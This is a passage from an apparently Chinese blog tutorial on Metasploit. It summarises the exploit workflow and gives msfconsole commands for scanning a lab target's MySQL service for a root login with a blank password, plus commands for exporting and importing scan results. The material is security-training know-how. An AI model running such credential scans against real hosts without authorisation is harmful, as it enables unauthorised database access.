-k # 直接关闭后台终端

被调起的Windows后台保存至后台

1
background

🤔总结Metasploit攻击的步骤

  • 1、查找CVE公布的漏洞
  • 2、查找对应的exploit模块
  • 3、配置模块参数
  • 4、添加payload后门
  • 5、执行exploit开始攻击

👽八、实战-使用msf扫描靶机上MySQL服务的空密码

使用MySQL的渗透模块

1
2
3
4
5
6
7
search mysql_login			# 搜索关于MySQL的渗透模块
use auxiliary/scanner/mysql/mysql_login # 使用此模块
show options # 查看配置参数
set RHOSTS # 设置目标主机IP,带S可以设置多个IP
set USERNAME root # 设置数据库的默认用户
set BLANK_PASSWORDS true # 尝试对所有用户尝试空密码
exploit # 运行攻击模块

执行成功

📲扫描结果的导入导出

将扫描结果导出

1
db_export -f xml [导出位置]			# 导出为.xml文件

清空Metasploit数据库

1
msfdb reinit

导入.xml文件到数据库

1
db_import [.xml文件的位置]

查寻Metasploit数据库

1
2
3
hosts
-c # 指定显示的项目,用逗号隔开
-d # 删除表中的数据

📣特别声明

此文章全部都是依靠自己的学习理解来写的原创文章,难免可能会出现有错误的地方,

如果大家以后阅读的时候发现有问题,那就麻烦到下方评论区来进行错误指出,使错误尽快做出改正,

在此,感谢大家的阅读与支持!🤝💦🎉

🍻支持一下

觉得我写的好的话可以支持一下我哦~持续关注我,会更新其他好玩且实用的项目。

👋如果我能帮助到你,那就请我喝杯🧋呗~👇👇👇


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!